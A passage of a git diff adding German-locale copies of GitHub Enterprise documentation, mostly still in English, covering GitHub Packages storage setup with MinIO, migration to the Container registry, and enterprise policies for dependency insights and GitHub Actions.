+Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still  supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. Also, note that MinIO's object storage is compatible with the S3 API and you can enter MinIO's bucket details in place of AWS S3 details.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_site_admin_settings.packages-tab %}
+{% data reusables.package_registry.enable-enterprise-github-packages %}
+
+{% ifversion ghes %}
+1. Under "Packages Storage", select **Amazon S3**.
+1. Enter your MinIO storage bucket's details in the AWS storage settings.
+    - **AWS Service URL:** The hosting URL for your MinIO bucket.
+    - **AWS S3 Bucket:** The name of your S3-compatible MinIO bucket dedicated to {% data variables.product.prodname_registry %}.
+    - **AWS S3 Access Key** and **AWS S3 Secret Key**: Enter the MinIO access key ID and secret key to access your bucket.
+
+    ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png)
+{% endif %}
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Next steps
+
+{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %}
diff --git a/translations/de-DE/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/de-DE/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
new file mode 100644
index 0000000000..43a79f9653
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
@@ -0,0 +1,52 @@
+---
+title: Getting started with GitHub Packages for your enterprise
+shortTitle: Getting started with GitHub Packages
+intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.location.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.'
+redirect_from:
+  - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise
+  - /admin/packages/enabling-github-packages-for-your-enterprise
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Packages
+---
+
+
+{% data reusables.package_registry.packages-cluster-support %}
+
+## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise
+
+{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)."
+## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage
+
+{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages.
+
+After enabling {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider.
+
+Supported external storage providers
+- Amazon Web Services (AWS) S3 {% ifversion ghes %}
+- Azure Blob Storage {% endif %}
+- MinIO
+
+To enable {% data variables.product.prodname_registry %} and configure third-party storage, see:
+  - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %}
+  - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %}
+  - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)"
+
+## Step 3: Specify the package ecosystems to support on your instance
+
+Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.location.product_location %}. Available options are {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet.  For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)."
+
+## Step 4: Ensure you have a TLS certificate for your package host URL, if needed
+
+If subdomain isolation is enabled for {% data variables.location.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `{% data reusables.package_registry.container-registry-hostname %}`. Make sure each package host URL includes `https://`.
+
+  You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)."
+
+## Step 5: Check for and rename reserved names
+
+If you want to use the Docker ecosystem with subdomain isolation disabled, you **must** first rename any user or organization named `v2` on {% data variables.location.product_location %}, prior to enabling Docker ecosystem support in the {% data variables.enterprise.management_console %}. Docker uses a `v2` account name to manage path conflicts with the Docker API, and once Docker registry support is enabled, you won't be able to use this name anymore.
+
+You can view a full list of logins reserved for internal use by navigating to the "Reserved logins" page in the Site admin dashboard. For more information, see "[Reserved logins](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#reserved-logins)."
diff --git a/translations/de-DE/content/admin/packages/index.md b/translations/de-DE/content/admin/packages/index.md
new file mode 100644
index 0000000000..3d2a572b5a
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/index.md
@@ -0,0 +1,26 @@
+---
+title: Verwalten von GitHub-Paketen für dein Unternehmen
+intro: 'Du kannst {% data variables.product.prodname_registry %} für dein Unternehmen aktivieren und {% data variables.product.prodname_registry %}-Einstellungen und zulässige gepackte Typen verwalten.'
+redirect_from:
+  - /enterprise/admin/packages
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /getting-started-with-github-packages-for-your-enterprise
+  - /enabling-github-packages-with-aws
+  - /enabling-github-packages-with-azure-blob-storage
+  - /enabling-github-packages-with-minio
+  - /quickstart-for-configuring-your-minio-storage-bucket-for-github-packages
+  - /configuring-package-ecosystem-support-for-your-enterprise
+  - /migrating-your-enterprise-to-the-container-registry-from-the-docker-registry
+shortTitle: Manage GitHub Packages
+ms.openlocfilehash: 257cd942e8f12c9a8c23883c9806fae43df1a8de
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147408979'
+---
+{% data reusables.package_registry.packages-ghes-release-stage %} {% ifversion ghes %} {% endif %}
diff --git a/translations/de-DE/content/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md b/translations/de-DE/content/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md
new file mode 100644
index 0000000000..9a64fab4c6
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md
@@ -0,0 +1,77 @@
+---
+title: Migrating your enterprise to the Container registry from the Docker registry
+intro: 'You can migrate Docker images previously stored in the Docker registry on {% data variables.location.product_location %} to the {% data variables.product.prodname_container_registry %}.'
+product: '{% data reusables.gated-features.packages %}'
+permissions: 'Enterprise owners can migrate Docker images to the {% data variables.product.prodname_container_registry %}.'
+versions:
+  feature: docker-ghcr-enterprise-migration
+shortTitle: Migrate to Container registry
+topics:
+  - Containers
+  - Docker
+  - Migration
+---
+
+{% data reusables.package_registry.container-registry-ghes-beta %}
+
+## About the {% data variables.product.prodname_container_registry %}
+
+{% data reusables.package_registry.container-registry-benefits %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
+
+For more information about configuring {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
+
+## About migration from the Docker registry
+
+{% data reusables.package_registry.container-registry-replaces-docker-registry %} If the Docker registry on {% data variables.location.product_location %} contains images, you must manually migrate the images to the {% data variables.product.prodname_container_registry %}.
+
+{% ifversion ghes %}
+
+{% note %}
+
+**Note**: {% data reusables.package_registry.container-registry-ghes-migration-availability %}
+
+{% endnote %}
+
+{% endif %}
+
+{% data reusables.package_registry.container-registry-migration-namespaces %} For more information about the impact of migration to the {% data variables.product.prodname_container_registry %}, see "[Migrating to the  {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry#about-migration-from-the-docker-registry)."
+
+## Migrating organizations to the {% data variables.product.prodname_container_registry %}
+
+You can start a migration of all your organizations' Docker images to the {% data variables.product.prodname_container_registry %}. The duration of the migration operation depends on the total number of images to migrate, and the overall load on {% ifversion ghes %}your instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. After a successful migration, {% data variables.product.product_name %} will display a summary, and all future uploads of Docker images will use the {% data variables.product.prodname_container_registry %}.
+
+If {% ifversion ghes %}a site administrator{% elsif ghae %}an enterprise owner{% endif %} has configured email notifications for {% data variables.location.product_location %}, you will receive an email after the migration is complete. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)."
+
+{% note %}
+
+**{% ifversion ghes %}Notes{% elsif ghae %}Note{% endif %}**:
+
+{%- ifversion ghes %}
+- During the migration, the CPU and memory usage for your instance will increase. To ensure the performance of the instance for your users, {% data variables.product.company_short %} recommends that you begin a migration during a period of reduced activity.
+{%- endif %}
+{% ifversion ghes %}- {% endif %}During the migration, do not modify settings for your enterprise{% ifversion ghes %} or run `ghe-config-apply` from an administrative SSH session{% endif %}. {% ifversion ghes %}These actions will trigger a configuration run, which can restart services and {% elsif ghae %}Modifying these settings {% endif %} may interrupt the migration.
+{%- ifversion ghes %}
+- After the migration, storage pressure on your instance will increase due to the duplication of image files in the Docker registry and the {% data variables.product.prodname_container_registry %}. A future release of {% data variables.product.product_name %} will remove the duplicated files when all migrations are complete.
+
+For more information about monitoring the performance and storage of {% data variables.location.product_location %}, see "[Accessing the monitor dashboard](/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard)."
+{% endif %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+1. In the left sidebar, click **Packages**.
+1. To the right of the number of packages to migrate, click **Start migration**. During the migration, {% data variables.product.product_name %} will display progress on this page.
+
+After the migration completes, the page will display the results. If a migration fails, the page will show the organizations that own the package that caused the failure.
+
+## Re-running a failed organization migration
+
+Prior to migration, if a user has created a package in the {% data variables.product.prodname_container_registry %} that has an identical name to an existing package in the Docker registry, the migration will fail.
+
+1. Delete the affected container in the {% data variables.product.prodname_container_registry %}. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package#deleting-a-version-of-an-organization-scoped-package-on-github)."
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.packages-tab %}
+1. To the right of the number of packages to migrate, click **Re-run migration**. During the migration, {% data variables.product.product_name %} will display progress on this page.
+1. If the migration fails again, start from step 1 and re-run the migration.
diff --git a/translations/de-DE/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md b/translations/de-DE/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md
new file mode 100644
index 0000000000..935cf07d90
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md
@@ -0,0 +1,123 @@
+---
+title: Quickstart for configuring your MinIO storage bucket for GitHub Packages
+intro: 'Configure your custom MinIO storage bucket for use with {% data variables.product.prodname_registry %}.'
+versions:
+  ghes: '*'
+type: quick_start
+topics:
+  - Packages
+  - Enterprise
+  - Storage
+shortTitle: Quickstart for MinIO
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+
+Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your third-party storage solution.
+
+MinIO offers object storage with support for the S3 API and {% data variables.product.prodname_registry %} on your enterprise.
+
+This quickstart shows you how to set up MinIO using Docker for use with {% data variables.product.prodname_registry %} but you have other options for managing MinIO besides Docker. For more information about MinIO, see the official [MinIO docs](https://docs.min.io/).
+
+## 1. Choose a MinIO mode for your needs
+
+| MinIO mode | Optimized for | Storage infrastructure required |
+|----|----|----|
+| Standalone MinIO (on a single host) | Fast setup |  N/A |
+| Clustered MinIO (also called Distributed MinIO)|  Data security | Storage servers running in a cluster |
+
+For more information about your options, see the official [MinIO docs](https://docs.min.io/).
+
+## 2. Install, run, and sign in to MinIO
+
+1. Set up your preferred environment variables for MinIO.
+
+    These examples use `MINIO_DIR`:
+    ```shell
+    $ export MINIO_DIR=$(pwd)/minio
+    $ mkdir -p $MINIO_DIR
+    ```
+
+2. Install MinIO.
+
+    ```shell
+    $ docker pull minio/minio
+    ```
+    For more information, see the official "[MinIO Quickstart Guide](https://docs.min.io/docs/minio-quickstart-guide)."
+
+3. Sign in to MinIO using your MinIO access key and secret.
+
+    {% linux %}
+    ```shell
+    $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
+    # this one is actually a secret, so careful
+    $ export MINIO_SECRET_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
+    ```
+    {% endlinux %}
+
+    {% mac %}
+    ```shell
+    $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
+    # this one is actually a secret, so careful
+    $ export MINIO_SECRET_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
+    ```
+    {% endmac %}
+
+    You can access your MinIO keys using the environment variables:
+
+    ```shell
+    $ echo $MINIO_ACCESS_KEY
+    $ echo $MINIO_SECRET_KEY
+    ```
+
+4. Run MinIO in your chosen mode.
+
+   * Run MinIO using Docker on a single host:
+
+     ```shell
+     $ docker run -p 9000:9000 \
+             -v $MINIO_DIR:/data \
+             -e "MINIO_ACCESS_KEY=$MINIO_ACCESS_KEY" \
+             -e "MINIO_SECRET_KEY=$MINIO_SECRET_KEY" \
+             minio/minio server /data
+     ```
+
+     For more information, see "[MinIO Docker Quickstart guide](https://docs.min.io/docs/minio-docker-quickstart-guide.html)."
+
+   * Run MinIO using Docker as a cluster. This MinIO deployment uses several hosts and MinIO's erasure coding for the strongest data protection. To run MinIO in a cluster mode, see the "[Distributed MinIO Quickstart Guide](https://docs.min.io/docs/distributed-minio-quickstart-guide.html)."
+
+## 3. Create your MinIO bucket for {% data variables.product.prodname_registry %}
+
+1. Install the MinIO client.  
+
+    ```shell
+    $ docker pull minio/mc
+    ```
+
+2. Create a bucket with a host URL that {% data variables.product.prodname_ghe_server %} can access.
+
+   * Local deployments example:
+
+     ```shell
+     $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @localhost:9000"
+     $ docker run minio/mc BUCKET-NAME
+     ```
+
+     This example can be used for MinIO standalone.
+
+   * Clustered deployments example:
+
+     ```shell
+     $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @minioclustername.example.com:9000"
+     $ docker run minio/mc mb packages
+     ```
+
+## Next steps
+
+To finish configuring storage for {% data variables.product.prodname_registry %}, you'll need to copy the MinIO storage URL:
+
+  ```
+  echo "http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY}@minioclustername.example.com:9000"
+  ```
+
+For the next steps, see "[Enabling {% data variables.product.prodname_registry %} with  MinIO](/admin/packages/enabling-github-packages-with-minio)."
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md
new file mode 100644
index 0000000000..15cdbd6559
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md
@@ -0,0 +1,30 @@
+---
+title: About enterprise policies
+intro: 'With enterprise policies, you can manage the policies for all the organizations owned by your enterprise.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+  - Policies
+---
+
+To help you enforce business rules and regulatory compliance, policies provide a single point of management for all the organizations owned by an enterprise account. 
+
+{% data reusables.enterprise.about-policies %}
+
+For example, with the "Base permissions" policy, you can allow organization owners to configure the "Base permissions" policy for their organization, or you can enforce a specific base permissions level, such as "Read", for all organizations within the enterprise.
+
+By default, no enterprise policies are enforced. To identify policies that should be enforced to meet the unique requirements of your business, we recommend reviewing all the available policies in your enterprise account, starting with repository management policies. For more information, see "[Enforcing repository management polices in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)."
+
+While you're configuring enterprise policies, to help you understand the impact of changing each policy, you can view the current configurations for the organizations owned by your enterprise.
+
+{% ifversion ghes %}
+Another way to enforce standards within your enterprise is to use pre-receive hooks, which are scripts that run on {% data variables.location.product_location %} to implement quality checks. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)."
+{% endif %}
+
+## Further reading
+
+- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
new file mode 100644
index 0000000000..e5f81e416e
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
@@ -0,0 +1,40 @@
+---
+title: Erzwingen von Richtlinien für Abhängigkeitserkenntnisse in deinem Unternehmen
+intro: Du kannst Richtlinien für Abhängigkeitserkenntnisse in den Organisationen deines Unternehmens erzwingen oder Richtlinien in jeder Organisation festlegen lassen.
+permissions: Enterprise owners can enforce policies for dependency insights in an enterprise.
+redirect_from:
+  - /articles/enforcing-a-policy-on-dependency-insights
+  - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Dependencies
+  - Enterprise
+  - Organizations
+  - Policies
+shortTitle: Policies for dependency insights
+ms.openlocfilehash: 6862a5d1210eda7d9c14d77eabf21e7a9a5a25b4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102876'
+---
+## Informationen zu Richtlinien für Abhängigkeitserkenntnisse in deinem Unternehmen
+
+Abhängigkeitserkenntnisse zeigen alle Pakete an, von denen Repositorys innerhalb der Organisationen deines Unternehmens abhängig sind. Abhängigkeitserkenntnisse umfassen aggregierte Informationen zu Sicherheitsempfehlungen und Lizenzen. Weitere Informationen findest du unter [Anzeigen von Erkenntnissen zu deiner Organisation](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization).
+
+## Erzwingen einer Richtlinie zur Sichtbarkeit von Abhängigkeitserkenntnissen
+
+In allen Organisationen, die deinem Unternehmen gehören, kannst du steuern, ob Organisationsmitglieder Abhängigkeitserkenntnisse anzeigen können. Du kannst Besitzern auch die Verwaltung der Einstellung auf Organisationsebene ermöglichen. Weitere Informationen findest du unter [Ändern der Sichtbarkeit der Abhängigkeitseinsichten deiner Organisation](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights).
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
+3. Klicke auf der linken Randleiste auf **Organisationen**.
+  ![Registerkarte „Organisationen“ auf der Randleiste für Unternehmen](/assets/images/help/business-accounts/settings-policies-org-tab.png)
+4. Lies unter „Organization policies“ (Organisationsrichtlinien) die Informationen zum Ändern der Einstellung. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Wähle im Dropdownmenü unter „Organization policies“ (Organisationsrichtlinien) eine Richtlinie aus.
+  ![Dropdownmenü mit den Optionen für die Organisationsrichtlinie](/assets/images/help/business-accounts/organization-policy-drop-down.png)
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
new file mode 100644
index 0000000000..30948b0de1
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
@@ -0,0 +1,194 @@
+---
+title: Enforcing policies for GitHub Actions in your enterprise
+intro: 'You can enforce policies for {% data variables.product.prodname_actions %} within your enterprise''s organizations, or allow policies to be set in each organization.'
+permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_actions %} in an enterprise.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /enterprise/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise
+  - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise
+  - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise-account/enforcing-github-actions-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/enforcing-github-actions-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-github-actions-policies-in-your-enterprise-account
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise-account/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Policies
+shortTitle: GitHub Actions policies
+---
+
+{% data reusables.actions.enterprise-beta %}
+
+## About policies for {% data variables.product.prodname_actions %} in your enterprise
+
+{% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)."
+
+{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.location.product_location %} can use {% data variables.product.prodname_actions %}. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_actions %}. By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)."
+
+## Enforcing a policy to restrict the use of {% data variables.product.prodname_actions %} in your enterprise
+
+You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %}, so that people can only use local actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that exist in your enterprise.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+1. Under "Policies", select your options.
+
+   {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %}
+
+   {%- ifversion ghes or ghae %}
+   {% note %}
+
+   **Note:** To enable access to public actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, you must first configure {% data variables.location.product_location %} to connect to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to GitHub.com actions using GitHub Connect](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)."
+
+   {% endnote %}
+   {%- endif %}
+   {% ifversion actions-workflow-policy %}
+   ![Enable, disable, or limits actions for this enterprise account](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png)
+   {%- else %}
+   ![Enable, disable, or limits actions for this enterprise account](/assets/images/help/organizations/enterprise-actions-policy.png)
+   {%- endif %}
+1. Click **Save**.
+
+{% data reusables.actions.allow-specific-actions-intro %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+1. Under "Policies", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} to the list.
+   {% ifversion actions-workflow-policy %}
+   ![Add actions and reusable workflows to the allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list-with-workflows.png)
+   {%- elsif ghes or ghae %}
+   ![Add actions to the allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
+   {%- elsif ghae %}
+   ![Add actions to the allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
+   {%- endif %}
+
+## Enforcing a policy for artifact and log retention in your enterprise
+
+{% data variables.product.prodname_actions %} can store artifact and log files. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)."
+
+{% data reusables.actions.about-artifact-log-retention %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.actions.change-retention-period-for-artifacts-logs  %}
+
+## Enforcing a policy for fork pull requests in your enterprise
+
+You can enforce policies to control how {% data variables.product.prodname_actions %} behaves for {% data variables.location.product_location %} when members of your enterprise{% ifversion ghec %} or outside collaborators{% endif %} run workflows from forks.
+
+{% ifversion ghec %}
+
+### Enforcing a policy for approval of pull requests from outside collaborators
+
+{% data reusables.actions.workflow-run-approve-public-fork %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.actions.workflows-from-public-fork-setting %}
+
+{% data reusables.actions.workflow-run-approve-link %}
+
+{% endif %}
+
+### Enforcing a policy for fork pull requests in private repositories
+
+{% data reusables.actions.private-repository-forks-overview %}
+
+If a policy is enabled for an enterprise, the policy can be selectively disabled in individual organizations or repositories. If a policy is disabled for an enterprise, individual organizations or repositories cannot enable it.
+
+{% data reusables.actions.private-repository-forks-options %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+{% data reusables.actions.private-repository-forks-configure %}
+
+{% ifversion ghec or ghes or ghae %}
+
+## Enforcing a policy for workflow permissions in your enterprise
+
+{% data reusables.actions.workflow-permissions-intro %}
+
+You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose a restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings.
+
+{% data reusables.actions.workflow-permissions-modifying %}
+
+### Configuring the default `GITHUB_TOKEN` permissions
+
+{% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+By default, when you create a new enterprise, `GITHUB_TOKEN` only has read access for the `contents` scope.
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
+
+   {% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+   ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise-with-pr-approval.png)
+   {% else %}
+   ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
+   {% endif %}
+1. Click **Save** to apply the settings.
+
+{% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests
+
+{% data reusables.actions.workflow-pr-approval-permissions-intro %}
+
+By default, when you create a new enterprise, workflows are not allowed to create or approve pull requests.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests.
+
+   ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise-with-pr-approval.png)
+1. Click **Save** to apply the settings.
+
+{% endif %}
+{% endif %}
+
+{% ifversion actions-cache-policy-apis %}
+
+## Enforcing a policy for cache storage in your enterprise
+
+{% data reusables.actions.cache-default-size %} {% data reusables.actions.cache-eviction-process %}
+
+However, you can set an enterprise policy to customize both the default total cache size for each repository, as well as the maximum total cache size allowed for a repository. For example, you might want the default total cache size for each repository to be 5 GB, but also allow {% ifversion actions-cache-admin-ui %}organization owners and{% endif %} repository administrators to configure a total cache size up to 15 GB if necessary.
+
